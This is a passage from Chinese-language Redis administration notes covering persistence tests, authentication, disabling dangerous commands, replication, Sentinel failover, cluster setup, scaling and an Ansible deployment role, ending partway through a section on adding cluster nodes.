mv /opt/redis.rdb /data/redis_6379/

systemctl start redis 

實驗結論

當aof和rdb同時存在的時候,redis會優先讀取aof的內容

8、aof模擬故障

損壞實驗結論
1.aof修復命令不要用,因爲他的修復方案非常粗暴,一刀切,從出錯的地方到最後全部刪除
2.任何操作之前,先備份數據

kill -9 實驗:

for i in {1..10000};do redis-cli set key_${i} v_${i} && echo "${i} is ok";done
ps -ef|grep redis|grep -v grep|awk '{print "kill -9",$2}'

結論:

1.aof相對比較安全,最多丟失1秒數據

9、如果設置了過期時間,回覆數據後會如何處理?

1.aof文件會記錄下過期時間
2.恢復的時候會去對比過期時間和當前時間,如果超過了,就刪除key
3.key的過期時間不受備份影響

10、aof和rdb如何選擇

https://redis.io/topics/persistence
1.開啓混合模式
2.開啓aof
3.不開啓rdb
4.rdb採用定時任務的方式定時備份
5.可以從庫開啓RDB進行備份

redis用戶認證

1、配置密碼認證功能

requirepass 123456

2、使用密碼

[root@db01 ~]# redis-cli
127.0.0.1:6379> set k1 v1
(error) NOAUTH Authentication required.
127.0.0.1:6379> AUTH 123456
OK
127.0.0.1:6379> keys *
1) "k1"
第二種:
[root@db01 ~]# redis-cli -a '123456' get k1
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
"v1"

3、爲什麼redis的密碼認證這麼簡單

1.redis一般都部署在內網環境,默認是相對比較安全的
2.有同學擔心密碼寫在配置文件裏,不用擔心,因爲開發不允許SSH登陸到Linux服務器,但是可以遠程連接Redis,所以設置密碼還是有作用的

禁用或者重命名危險命令
1、禁用危險命令

rename-command KEYS ""
rename-command SHUTDOWN ""
rename-command CONFIG ""
rename-command FLUSHALL ""

2、重命名危險命令

rename-command KEYS "QQ526195417"
rename-command SHUTDOWN ""
rename-command CONFIG ""
rename-command FLUSHALL ""

主從複製
1、快部署第二臺redis服務器

ssh-keygen
ssh-copy-id 10.0.0.51
rsync -avz 10.0.0.51:/opt/redis_6379 /opt/
rsync -avz 10.0.0.51:/usr/local/bin/redis* /usr/local/bin/
rsync -avz 10.0.0.51:/usr/lib/systemd/system/redis.service /usr/lib/systemd/system/
sed -i 's#51#52#g' /opt/redis_6379/conf/redis_6379.conf
mkdir -p /data/redis_6379
groupadd redis -g 1000
useradd redis -u 1000 -g 1000 -M -s /sbin/nologin
chown -R redis:redis /opt/redis*
chown -R redis:redis /data/redis*
systemctl daemon-reload 
systemctl start redis

報錯總結:

1.在db01上執行了命令
2.配置文件裏的密碼沒刪掉
3.配置文件裏的重命名參數沒刪掉
4.用戶id和組id衝突
5.沒有rsync
6.拷貝過來的配置文件沒有修改IP地址

2、db01插入測試命令

for i in {1..1000};do redis-cli set key_${i} v_${i} && echo "${i} is ok";done

3、配置主從複製

方法1:臨時生效
redis-cli -h 10.0.0.52 SLAVEOF 10.0.0.51 6379

方法2:寫進配置文件永久生效
SLAVEOF 10.0.0.51 6379

4、檢查複製進度

INFO replication
ROLE

主從複製流程
1、簡單流程

1.從節點發送同步請求到主節點
2.主節點接收到從節點的請求之後,做了如下操作
  - 立即執行bgsave將當前內存裏的數據持久化到磁盤上
  - 持久化完成之後,將rdb文件發送給從節點
3.從節點從主節點接收到rdb文件之後,做了如下操作
  - 清空自己的數據
  - 載入從主節點接收的rdb文件到自己的內存裏
4.後面的操作就是和主節點實時的了

2、取消複製

SLAVEOF no one

主從複製注意

1.從節點只讀不可寫 
2.從節點不會自動故障轉移,他會一直嘗試同步主節點,並且依然不可寫
3.主從複製故障轉移需要介入的地方
  - 修改代碼指向新主的IP
  - 從節點需要執行slaveof no one 
4.從庫建立同步時會清空自己的數據,如果同步對象寫錯了,就清空了
5.從庫也可以正常的RDB持久化

簡單來說:主從複製更像是備份操作,從庫只能讀 不能寫 資源浪費
主從複製的架構 仍然是單節點故障的問題 主庫宕機 從庫也無法自動切換爲主庫 進行故障轉移。

安全的操作

一定要做好數據備份,無論是主節點還是從節點,操作前最好做下備份

redis哨兵

在這裏插入圖片描述
主從複製架構的缺點:
1、從庫只能讀 不能寫 資源浪費
2、主從複製的架構 仍然是單節點故障的問題 主庫宕機 從庫也無法自動切換爲主庫 進行故障轉移。

哨兵比主從複製優點:
1、監控 監控主機狀態 如果down掉 從slave中選舉新的master
解決了主從複製時單節點故障的問題 但是對於資源浪費(從庫只可以讀 不可以寫 還是沒有解決)

哨兵原理:
1、代碼連接哨兵的IP地址列表
2、哨兵去查詢誰是當前的master節點,返回給代碼 主節點的ip地址
3、代碼拿到IP地址之後,去連接master

1、哨兵的作用

1.解決主從複製需要人爲干預的問題
2.提供了自動的高可用方案

2、目錄和端口規劃

redis節點  6379
哨兵節點    26379

3、部署3臺redis單節點主從關係
db01操作

pkill redis
cat >/opt/redis_6379/conf/redis_6379.conf <<EOF   
daemonize yes
bind 127.0.0.1 10.0.0.51
port 6379
pidfile "/opt/redis_6379/pid/redis_6379.pid"
logfile "/opt/redis_6379/logs/redis_6379.log"
dbfilename "redis.rdb"
dir "/data/redis_6379"
appendonly yes
appendfilename "redis.aof"
appendfsync everysec
EOF
systemctl start redis
redis-cli

db02和db03操作

ssh-keygen
ssh-copy-id 10.0.0.51

pkill redis 
rm -rf /opt/redis*
rsync -avz 10.0.0.51:/usr/local/bin/redis-*  /usr/local/bin
rsync -avz 10.0.0.51:/usr/lib/systemd/system/redis.service /usr/lib/systemd/system/
mkdir /opt/redis_6379/{conf,logs,pid} -p
mkdir /data/redis_6379 -p
cat >/opt/redis_6379/conf/redis_6379.conf <<EOF   
daemonize yes
bind 127.0.0.1 $(ifconfig eth0|awk 'NR==2{print $2}')
port 6379
pidfile "/opt/redis_6379/pid/redis_6379.pid"
logfile "/opt/redis_6379/logs/redis_6379.log"
dbfilename "redis.rdb"
dir "/data/redis_6379"
appendonly yes
appendfilename "redis.aof"
appendfsync everysec
EOF
useradd redis -M -s /sbin/nologin
chown -R redis:redis /opt/redis*
chown -R redis:redis /data/redis*
systemctl daemon-reload 
systemctl start redis 
redis-cli

4、配置主從複製

redis-cli -h 10.0.0.52 slaveof 10.0.0.51 6379
redis-cli -h 10.0.0.53 slaveof 10.0.0.51 6379
redis-cli -h 10.0.0.51 info replication

5、部署哨兵節點3臺服務器都操作

mkdir -p /data/redis_26379
mkdir -p /opt/redis_26379/{conf,pid,logs}
cat >/opt/redis_26379/conf/redis_26379.conf << EOF
bind $(ifconfig eth0|awk 'NR==2{print $2}')
port 26379
daemonize yes
logfile /opt/redis_26379/logs/redis_26379.log
dir /data/redis_26379
sentinel monitor myredis 10.0.0.51 6379 2
sentinel down-after-milliseconds myredis 3000
sentinel parallel-syncs myredis 1
sentinel failover-timeout myredis 18000
EOF
chown -R redis:redis  /data/redis*
chown -R redis:redis  /opt/redis*
cat >/usr/lib/systemd/system/redis-sentinel.service<<EOF
[Unit]
Description=Redis persistent key-value database
After=network.target
After=network-online.target
Wants=network-online.target

[Service]
ExecStart=/usr/local/bin/redis-sentinel /opt/redis_26379/conf/redis_26379.conf --supervised systemd
ExecStop=/usr/local/bin/redis-cli -h $(ifconfig eth0|awk 'NR==2{print $2}') -p 26379 shutdown
Type=notify
User=redis
Group=redis
RuntimeDirectory=redis
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload 
systemctl start redis-sentinel
redis-cli -h $(ifconfig eth0|awk 'NR==2{print $2}') -p 26379

關鍵配置解釋:

sentinel monitor myredis 10.0.0.51 6379 2			
# myredis主節點別名  主節點IP 端口  需要2個哨兵節點同意

sentinel down-after-milliseconds myredis 3000
# 認定服務器已經斷線所需要的毫秒數

sentinel parallel-syncs myredis 1
# 向主節點發給複製操作的從節點個數,1表示輪訓發起複製

sentinel failover-timeout myredis 18000
# 故障轉移超時時間

6、哨兵注意

1.哨兵發起故障轉移的條件是master節點失去聯繫,從節點掛掉不會發起故障轉移
2.哨兵會自己維護配置文件,不需要手動修改
3.如果主從的結構發生變化,哨兵之間會自動同步最新的消息並且自動更新配置文件
4.哨兵啓動完成之後,以後不要再自己去設置主從關係

7、驗證主機節點

redis-cli -h 10.0.0.51 -p 26379 SENTINEL get-master-addr-by-name myredis

8、哨兵常用命令

redis-cli -h 10.0.0.51 -p 26379 SENTINEL get-master-addr-by-name myredis
redis-cli -h 10.0.0.51 -p 26379 SENTINEL master myredis
redis-cli -h 10.0.0.51 -p 26379 SENTINEL slaves myredis
redis-cli -h 10.0.0.51 -p 26379 SENTINEL ckquorum myredis

9、模擬故障轉移
模擬方法:

關閉redis當前的主節點
觀察其他2個節點會不會發生選舉
查看哨兵配置文件會不會更新
查看從節點配置文件會不會更新
查看主節點能不能寫入
查看從節點是否同步正常

流程:

1)在從節點列表中選出一個節點作爲新的主節點,選擇方法如下:
a)過濾:“不健康”(主觀下線、斷線)、5秒內沒有回覆過Sentinel節點ping響應、與主節點失聯超過down-after-milliseconds*10秒。
b)選擇slave-priority(從節點優先級)最高的從節點列表,如果存在則返回,不存在則繼續。
c)選擇複製偏移量最大的從節點(複製的最完整),如果存在則返回,不存在則繼續。
d)選擇runid最小的從節點

流程圖:

在這裏插入圖片描述
結論:

主節點掛掉,哨兵會選舉新的主節點
在新主節點上執行slaveof no one
在從節點執行slave of 新主節點
自動更新哨兵配置
自動更新從節點配置

10、故障修復重新上線

啓動單節點
檢查是否變成從庫

疑問:
1、從庫可以寫嗎 讀寫都可以嗎
從庫依然只能讀 不能寫 但是哨兵比主從複製多了些的功能是:主庫down了 從庫可以自動頂替上來。主從複製是:當主庫down了 從庫啥也做不了,只是一個備份的作用
2、哨兵的方式 解決了單節點故障 但是如果主庫掛掉 代碼中是否也需要人爲手動修改IP地址爲新的主庫IP地址

11、哨兵加權選舉
查看權重

redis-cli -h 10.0.0.51 -p 6379 CONFIG GET slave-priority
redis-cli -h 10.0.0.52 -p 6379 CONFIG GET slave-priority
redis-cli -h 10.0.0.53 -p 6379 CONFIG GET slave-priority

暗箱操作:假如選中53作爲最新的master

redis-cli -h 10.0.0.51 -p 6379 CONFIG SET slave-priority 0
redis-cli -h 10.0.0.52 -p 6379 CONFIG SET slave-priority 0

檢查:

redis-cli -h 10.0.0.51 -p 6379 CONFIG GET slave-priority  
redis-cli -h 10.0.0.52 -p 6379 CONFIG GET slave-priority  
redis-cli -h 10.0.0.51 -p 26379 sentinel get-master-addr-by-name myredis

主動發生選舉

redis-cli -h 10.0.0.51 -p 26379 sentinel failover myredis 
redis-cli -h 10.0.0.51 -p 26379 sentinel get-master-addr-by-name myredi

redis集羣-最新版5.x
1、哨兵的不足

1.主庫寫壓力太大
2.資源利用率不高
3.連接過程繁瑣,效率低

2、集羣的概念

1.Redis集羣,無論有幾個節點,一共只有16384個槽位
2.所有的槽都必須被正確分配,哪怕有1個槽不正常,整個集羣都不可用
3.每個節點的槽的順序不重要,重要的是槽的數量
4.HASH算法足夠平均,足夠隨機
5.每個槽被分配到數據的概率是大致相當的
6.集羣的高可用依賴於主從複製
7.集羣節點之間槽位的數量允許在2%的誤差範圍內
8.集羣通訊會使用基礎端口號+10000的端口,自動創建的,不是配置文件配置的,生產要注意的是防火牆注意要放開此端口

3、目錄規劃

主節點  6380
從節點  6381

4、db01的操作

#1.發送SSH認證,方便後面傳輸
ssh-keygen
ssh-copy-id 10.0.0.52
ssh-copy-id 10.0.0.53

#2.創建目錄
pkill redis
mkdir -p /opt/redis_{6380,6381}/{conf,logs,pid}
mkdir -p /data/redis_{6380,6381}

#3.生成主節點配置文件
cat >/opt/redis_6380/conf/redis_6380.conf<<EOF
bind 10.0.0.51
port 6380
daemonize yes
pidfile "/opt/redis_6380/pid/redis_6380.pid"
logfile "/opt/redis_6380/logs/redis_6380.log"
dbfilename "redis_6380.rdb"
dir "/data/redis_6380/"
appendonly yes
appendfilename "redis.aof"
appendfsync everysec
cluster-enabled yes
cluster-config-file nodes_6380.conf
cluster-node-timeout 15000
EOF

#4.複製主節點的配置文件到從節點並更改端口號
cd /opt/
cp redis_6380/conf/redis_6380.conf redis_6381/conf/redis_6381.conf
sed -i 's#6380#6381#g' redis_6381/conf/redis_6381.conf 

#5.更改授權爲redis
chown -R redis:redis /opt/redis_*
chown -R redis:redis /data/redis_*

#6.生成主節點的systemd啓動文件
cat >/usr/lib/systemd/system/redis-master.service<<EOF
[Unit]
Description=Redis persistent key-value database
After=network.target
After=network-online.target
Wants=network-online.target

[Service]
ExecStart=/usr/local/bin/redis-server /opt/redis_6380/conf/redis_6380.conf --supervised systemd
ExecStop=/usr/local/bin/redis-cli -h $(ifconfig eth0|awk 'NR==2{print $2}') -p 6380 shutdown
Type=notify
User=redis
Group=redis
RuntimeDirectory=redis
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target
EOF

#7.複製master節點的啓動文件給slave節點並修改端口號
cd /usr/lib/systemd/system/
cp redis-master.service redis-slave.service
sed -i 's#6380#6381#g' redis-slave.service

#8.重載並啓動集羣節點
systemctl daemon-reload 
systemctl start redis-master
systemctl start redis-slave
ps -ef|grep redis

#9.把創建好的目錄和啓動文件發送給db02和db03
rsync -avz /opt/redis_638* 10.0.0.52:/opt/
rsync -avz /opt/redis_638* 10.0.0.53:/opt/
rsync -avz /usr/lib/systemd/system/redis-*.service 10.0.0.52:/usr/lib/systemd/system/
rsync -avz /usr/lib/systemd/system/redis-*.service 10.0.0.53:/usr/lib/systemd/system/

5、db02的操作

#1.替換db01發送過來的文件並修改IP地址
pkill redis
find /opt/redis_638* -type f -name "*.conf"|xargs sed -i "/bind/s#51#52#g"
cd /usr/lib/systemd/system/
sed -i 's#51#52#g' redis-*.service 
mkdir –p /data/redis_{6380,6381}
chown -R redis:redis /opt/redis_*
chown -R redis:redis /data/redis_*
systemctl daemon-reload 
systemctl start redis-master
systemctl start redis-slave
ps -ef|grep redis

6、db03的操作

#1.替換db01發送過來的文件並修改IP地址
pkill redis
find /opt/redis_638* -type f -name "*.conf"|xargs sed -i "/bind/s#51#53#g"
cd /usr/lib/systemd/system/
sed -i 's#51#53#g' redis-*.service 
mkdir –p /data/redis_{6380,6381}
chown -R redis:redis /opt/redis_*
chown -R redis:redis /data/redis_*
systemctl daemon-reload 
systemctl start redis-master
systemctl start redis-slave
ps -ef|grep redis

7、集羣手動發現節點

redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.52 6380
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.53 6380
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.51 6381
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.52 6381
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.53 6381
redis-cli -h 10.0.0.51 -p 6380 CLUSTER NODES

8、集羣手動分配槽位
1、槽位規劃

db01:6380  5461		0-5460
db02:6380  5461   5461-10921
db03:6380  5462   10922-16383

2、分配槽位

redis-cli -h 10.0.0.51 -p 6380 CLUSTER ADDSLOTS {0..5460}
redis-cli -h 10.0.0.52 -p 6380 CLUSTER ADDSLOTS {5461..10921}
redis-cli -h 10.0.0.53 -p 6380 CLUSTER ADDSLOTS {10922..16383}

3、查看集羣狀態

redis-cli -h 10.0.0.51 -p 6380 CLUSTER NODES
redis-cli -h 10.0.0.51 -p 6380 CLUSTER INFO

9、手動分配複製關係
1、先獲取集羣節點信息

redis-cli -h 10.0.0.52 -p 6381 CLUSTER nodes

2、過濾刪除不必要的信息

6380的ID 10.0.0.51
6380的ID 10.0.0.53
6380的ID 10.0.0.52

3、畫圖

4、配置複製關係

redis-cli -h 10.0.0.51 -p 6381 CLUSTER REPLICATE db02的6380的ID 
redis-cli -h 10.0.0.52 -p 6381 CLUSTER REPLICATE db03的6380的ID 
redis-cli -h 10.0.0.53 -p 6381 CLUSTER REPLICATE db01的6380的ID 

5、檢車複製關係

redis-cli -h 10.0.0.51 -p 6381 CLUSTER NODES

集羣寫入數據
1、嘗試插入一條數據

[root@db01 ~]# redis-cli -h 10.0.0.51 -p 6380
10.0.0.51:6380> set k1 v1
(error) MOVED 12706 10.0.0.53:6380

[root@db01 ~]# redis-cli -c -h 10.0.0.51 -p 6380
10.0.0.51:6380> 
10.0.0.51:6380> set k4 v4
-> Redirected to slot [8455] located at 10.0.0.52:6380
OK
10.0.0.52:6380> keys *
1) "k4"
10.0.0.52:6380> get k4
"v4"

2、目前的現象

1.在db01的6380上插入數據提示錯誤
2.報錯提示應該移動到db03的6380上
3.根據提示在db03的6380上執行相同的命令可以寫入成功
4.db01的6380有的數據可以寫入,有的不行
5.使用-c參數後,可以正常寫入命令,並且由目標節點返回信息

3、問題原因

因爲集羣模式有ASK規則,加入-c參數後,會自動跳轉到目標節點處理並由目標節點返回信息。

4、ask路由流程圖

在這裏插入圖片描述

驗證集羣hash算法是否足夠平均
1、寫入測試命令

for i in {1..1000};do redis-cli -c -h 10.0.0.51 -p 6380 set k_${i} v_${i} && echo "${i} is ok";done

2、驗證足夠平均(注意不是絕對平均,是足夠平均)

[root@db01 ~]# redis-cli  -c -h 10.0.0.51 -p 6380 DBSIZE
(integer) 339
[root@db01 ~]# redis-cli  -c -h 10.0.0.52 -p 6380 DBSIZE 
(integer) 326
[root@db01 ~]# redis-cli  -c -h 10.0.0.53 -p 6380 DBSIZE 
(integer) 335

3、驗證足夠隨機

redis-cli -c -h 10.0.0.51 -p 6380 keys \* > keys.txt
cat keys.txt |awk -F "_" '{print $2}'|sort -rn

4、允許節點的槽個數誤差在2%以內的依據

[root@db01 ~]# redis-cli --cluster rebalance 10.0.0.51:6380
>>> Performing Cluster Check (using node 10.0.0.51:6380)
[OK] All nodes agree about slots configuration.
>>> Check for open slots...
>>> Check slots coverage...
[OK] All 16384 slots covered.
*** No rebalancing needed! All nodes are within the 2.00% threshold.

5、檢查集羣健康狀態

[root@db01 ~]# redis-cli --cluster info 10.0.0.51:6380
10.0.0.51:6380 (f765d849...) -> 3343 keys | 5461 slots | 1 slaves.
10.0.0.52:6380 (5ff2b711...) -> 3314 keys | 5461 slots | 1 slaves.
10.0.0.53:6380 (de167d13...) -> 3343 keys | 5462 slots | 1 slaves.
[OK] 10000 keys in 3 masters.
0.61 keys per slot on average.

使用工具自動部署redis集羣-通用ruby法(3.x版本之前)
1、安裝依賴-只在db01上操作

yum install -y rubygems
gem sources -a http://mirrors.aliyun.com/rubygems/
gem sources --remove http://rubygems.org/
gem install redis -v 3.3.3

2、還原集羣環境

redis-cli -c -h 10.0.0.51 -p 6380 flushall
redis-cli -c -h 10.0.0.52 -p 6380 flushall
redis-cli -c -h 10.0.0.53 -p 6380 flushall
redis-cli -h 10.0.0.51 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.52 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.53 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.51 -p 6381 CLUSTER RESET
redis-cli -h 10.0.0.52 -p 6381 CLUSTER RESET
redis-cli -h 10.0.0.53 -p 6381 CLUSTER RESET

3、快速部署redis集羣

cd /opt/redis/src/
./redis-trib.rb create --replicas 1 10.0.0.51:6380 10.0.0.52:6380 10.0.0.53:6380 10.0.0.51:6381 10.0.0.52:6381 10.0.0.53:6381

使用工具自動部署redis集羣-高科技版
1、還原集羣狀態

redis-cli -c -h 10.0.0.51 -p 6380 flushall
redis-cli -c -h 10.0.0.52 -p 6380 flushall
redis-cli -c -h 10.0.0.53 -p 6380 flushall
redis-cli -h 10.0.0.51 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.52 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.53 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.51 -p 6381 CLUSTER RESET
redis-cli -h 10.0.0.52 -p 6381 CLUSTER RESET
redis-cli -h 10.0.0.53 -p 6381 CLUSTER RESET

2、快速部署redis集羣

redis-cli --cluster create 10.0.0.51:6380 10.0.0.52:6380 10.0.0.53:6380 10.0.0.51:6381 10.0.0.52:6381 10.0.0.53:6381 --cluster-replicas 1

3、檢查集羣

redis-cli --cluster info 10.0.0.51:6380

使用工具擴容

在這裏插入圖片描述

1、需要考慮的問題

1.遷移時槽的數據會不會遷過去
2.遷移過程集羣讀寫受影響嗎
3.需要限速嗎
4.如何確保遷移後的完整性

2、如何設計實驗驗證遷移過程是否受影響

1.遷移過程中,一個窗口讀數據,一個窗口寫數據
2.觀察是否會中斷

3、創建新的節點

mkdir -p /opt/redis_{6390,6391}/{conf,logs,pid}
mkdir -p /data/redis_{6390,6391}
cd /opt/
cp redis_6380/conf/redis_6380.conf redis_6390/conf/redis_6390.conf
cp redis_6380/conf/redis_6380.conf redis_6391/conf/redis_6391.conf
sed -i 's#6380#6390#g' redis_6390/conf/redis_6390.conf
sed -i 's#6380#6391#g' redis_6391/conf/redis_6391.conf
redis-server /opt/redis_6390/conf/redis_6390.conf
redis-server /opt/redis_6391/conf/redis_6391.conf
ps -ef|grep redis
redis-cli -c -h 10.0.0.51 -p 6380 cluster meet 10.0.0.51 6390
redis-cli -c -h 10.0.0.51 -p 6380 cluster meet 10.0.0.51 6391
redis-cli -c -h 10.0.0.51 -p 6380 cluster nodes

4、擴容步驟

#重新分配槽位
redis-cli --cluster reshard 10.0.0.51:6380

#第一次交互:每個節點最終分配多少個槽
How many slots do you want to move (from 1 to 16384)? 4096

#第二次交互:接受節點的ID
What is the receiving node ID? 6390的ID

#第三次交互:哪些節點需要導出 
Please enter all the source node IDs.
  Type 'all' to use all the nodes as source nodes for the hash slots.
  Type 'done' once you entered all the source nodes IDs.
Source node #1:all

#第四次交互:確認信息
Do you want to proceed with the proposed reshard plan (yes/no)? yes

5、驗證命令
寫命令

for i in {1..1000};do redis-cli -c -h 10.0.0.51 -p 6380 set k_${i} v_${i} && echo ${i} is ok;sleep 0.5;done

讀命令

for i in {1..1000};do redis-cli -c -h 10.0.0.51 -p 6380 get k_${i};sleep 0.5;done 

使用工具收縮

在這裏插入圖片描述

1、縮容命令

#重新分配槽
redis-cli --cluster reshard 10.0.0.51:6380

#第一次交互:需要遷移多少個槽
How many slots do you want to move (from 1 to 16384)? 1365

#第三次交互:接受節點ID是多少
What is the receiving node ID? db01的6380的ID

#第三次交互:哪些節點需要導出
Please enter all the source node IDs.
  Type 'all' to use all the nodes as source nodes for the hash slots.
  Type 'done' once you entered all the source nodes IDs.
Source node #1: 6390的ID
Source node #2: done

#第四次交互:確認信息
Do you want to proceed with the proposed reshard plan (yes/no)? yes

重複上述操作,知道6390所有的槽都被分配完畢

2、檢查命令

redis-cli --cluster info 10.0.0.51:6380

3、歸一再分配法
歸一

把要縮容節點的數據都扔到其中一個節點

分配

然後利用集羣重新負載均衡命令重新分配
redis-cli --cluster rebalance 10.0.0.51:6380

故障模擬轉移
1、關閉主節點,測試集羣是否依然可以使用

10.0.0.51:6381> CLUSTER NODES
f765d849975ddfda7029d16be717ddffcc4c4bc7 10.0.0.51:6380@16380 slave 2a55b4454e33b3c5a953264c9d69a58a56ab1a85 0 1587000834939 20 connected
5ff2b711ff5b377bf06ce5ef878b3a7aaf881a98 10.0.0.52:6380@16380 slave 7d1328883b4a162d2728f8719fffc53d5fb3d801 0 1587000838082 22 connected
de167d131d45eedcb9b56ef0021ae110d6e55d46 10.0.0.53:6380@16380 slave aef2cbf60bc3109ba76253d52d691e2dba7bd3e5 0 1587000837000 21 connected
aef2cbf60bc3109ba76253d52d691e2dba7bd3e5 10.0.0.51:6381@16381 myself,master - 0 1587000837000 21 connected 10923-16383
2a55b4454e33b3c5a953264c9d69a58a56ab1a85 10.0.0.52:6381@16381 master - 0 1587000837000 20 connected 0-5460
7d1328883b4a162d2728f8719fffc53d5fb3d801 10.0.0.53:6381@16381 master - 0 1587000837070 22 connected 5461-10922

2、主動發起故障轉移

redis-cli -c -h 10.0.0.51 -p 6380 CLUSTER FAILOVER
redis-cli -c -h 10.0.0.52 -p 6380 CLUSTER FAILOVER
redis-cli -c -h 10.0.0.53 -p 6380 CLUSTER FAILOVER

遷移過程中意外發生過中斷如何修復

1、模擬場景:遷移時人爲中斷,導致槽的狀態不正確

[5754->-f765d849975ddfda7029d16be717ddffcc4c4bc7]

2、手動修復

redis-cli -c -h 10.0.0.52 -p 6380  CLUSTER SETSLOT 5754 STABLE

3、使用工具修改-生產建議使用工具修復

redis-cli --cluster fix 10.0.0.51:6380

rediscluster 常用命令整理
1、集羣(cluster)

CLUSTER INFO 打印集羣的信息
CLUSTER NODES 列出集羣當前已知的所有節點(node),以及這些節點的相關信息。 
節點(node)
CLUSTER MEET <ip> <port> 將 ip 和 port 所指定的節點添加到集羣當中,讓它成爲集羣的一份子。
CLUSTER FORGET <node_id> 從集羣中移除 node_id 指定的節點。
CLUSTER REPLICATE <node_id> 將當前節點設置爲 node_id 指定的節點的從節點。
CLUSTER SAVECONFIG 將節點的配置文件保存到硬盤裏面。

2、槽(slot)

CLUSTER ADDSLOTS <slot> [slot ...] 將一個或多個槽(slot)指派(assign)給當前節點。
CLUSTER DELSLOTS <slot> [slot ...] 移除一個或多個槽對當前節點的指派。
CLUSTER FLUSHSLOTS 移除指派給當前節點的所有槽,讓當前節點變成一個沒有指派任何槽的節點。
CLUSTER SETSLOT <slot> NODE <node_id> 將槽 slot 指派給 node_id 指定的節點,如果槽已經指派給另一個節點,那麼先讓另一個節點刪除該槽>,然後再進行指派。
CLUSTER SETSLOT <slot> MIGRATING <node_id> 將本節點的槽 slot 遷移到 node_id 指定的節點中。
CLUSTER SETSLOT <slot> IMPORTING <node_id> 從 node_id 指定的節點中導入槽 slot 到本節點。
CLUSTER SETSLOT <slot> STABLE 取消對槽 slot 的導入(import)或者遷移(migrate)。 

3、鍵(key)

CLUSTER KEYSLOT <key> 計算鍵 key 應該被放置在哪個槽上。
CLUSTER COUNTKEYSINSLOT <slot> 返回槽 slot 目前包含的鍵值對數量。
CLUSTER GETKEYSINSLOT <slot> <count> 返回 count 個 slot 槽中的鍵。

自動化-黑客帝國版

鏈接:https://pan.baidu.com/s/1lTuT_OXhCWA7sH_Yshkjmw 
提取碼:rzsu
鏈接:https://pan.baidu.com/s/1H-7ThaTNjNh12FSrwu9gVg 
提取碼:tf31

1、ansible部署redis集羣5.x
目錄結構

redis_cluster/
├── files
│   ├── redis_6380
│   │   ├── conf
│   │   ├── logs
│   │   └── pid
│   ├── redis_6381
│   │   ├── conf
│   │   ├── logs
│   │   └── pid
│   └── redis_cmd
│       ├── redis-benchmark
│       ├── redis-check-aof
│       ├── redis-check-rdb
│       ├── redis-cli
│       └── redis-server
├── handlers
│   └── main.yaml
├── tasks
│   └── main.yaml
└── templates
    ├── redis_6380.conf.j2
    ├── redis_6381.conf.j2
    ├── redis-master.service.j2
    └── redis-slave.service.j2

調用文件

cat >/etc/ansible/redis_cluster.yaml <<EOF
- hosts: redis_cluster
  roles:
    - redis_cluster
EOF

tasks內容:

cat >>/etc/ansible/roles/redis_cluster/tasks/main.yaml <<EOF  
#01.創建用戶組
- name: 01_create_group
  group:
    name: redis 
    gid: 777 

#02.創建用戶
- name: 02_create_user
  user:
    name: redis 
    uid: 777 
    group: redis 
    shell: /sbin/nologin
    create_home: no

#03.拷貝執行文件
- name: 03_copy_cmd
  copy:
    src: redis_cmd/
    dest:  /usr/local/bin/
    mode: '0755'

#04.拷貝運行目錄
- name: 04_mkdir_conf
  copy:
    src: "{{ item }}"
    dest: /opt/
    owner: redis
    group: redis
  loop:
    - redis_6380
    - redis_6381
    
#05.創建數據目錄
- name: 05_mkdir_data
  file: 
    dest: "/data/{{ item }}"
    state: directory 
    owner: redis 
    group: redis 
  loop:
    - redis_6380 
    - redis_6381 

#06.拷貝配置文件模版
- name: 06_copy_conf
  template:
    src: "{{ item.src}}"
    dest: "{{ item.dest }}"
    backup: yes
  loop:
    - { src: 'redis_6380.conf.j2', dest: '/opt/redis_6380/conf/redis_6380.conf' }
    - { src: 'redis_6381.conf.j2', dest: '/opt/redis_6381/conf/redis_6381.conf' }
    - { src: 'redis-master.service.j2', dest: '/usr/lib/systemd/system/redis-master.service' }
    - { src: 'redis-slave.service.j2', dest: '/usr/lib/systemd/system/redis-slave.service' }
  notify:
    - restart redis-master
    - restart redis-slave 

#07.啓動服務
- name: 07_start_redis
  systemd: 
    name: "{{ item }}" 
    state: started 
    daemon_reload: yes
  loop:
  - redis-master 
  - redis-slave
EOF

handlers

[root@m01 ~]# cat /etc/ansible/roles/redis_cluster/handlers/main.yaml 
- name: restart redis-master 
  service: 
    name: redis-master 
    state: restarted

- name: restart redis-slave
  service: 
    name: redis-slave
    state: restarted

templates

cat >/etc/ansible/roles/redis_cluster/templates/redis_6380.conf.j2 <<EOF
bind {{ ansible_facts.eth0.ipv4.address }}
port 6380
daemonize yes
pidfile "/opt/redis_6380/pid/redis_6380.pid"
logfile "/opt/redis_6380/logs/redis_6380.log"
dbfilename "redis_6380.rdb"
dir "/data/redis_6380/"
appendonly yes
appendfilename "redis.aof"
appendfsync everysec
cluster-enabled yes
cluster-config-file nodes_6380.conf
cluster-node-timeout 15000
EOF

cat >/etc/ansible/roles/redis_cluster/templates/redis-master.service.j2 <<EOF
[Unit]
Description=Redis persistent key-value database
After=network.target
After=network-online.target
Wants=network-online.target

[Service]
ExecStart=/usr/local/bin/redis-server /opt/redis_6380/conf/redis_6380.conf --supervised systemd
ExecStop=/usr/local/bin/redis-cli -h {{ ansible_facts.eth0.ipv4.address }}  -p 6380 shutdown
Type=notify
User=redis
Group=redis
RuntimeDirectory=redis
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target
EOF

3.免交互擴容
添加主節點

redis-cli --cluster add-node 10.0.0.51:6390 10.0.0.51:6380

添加從節點

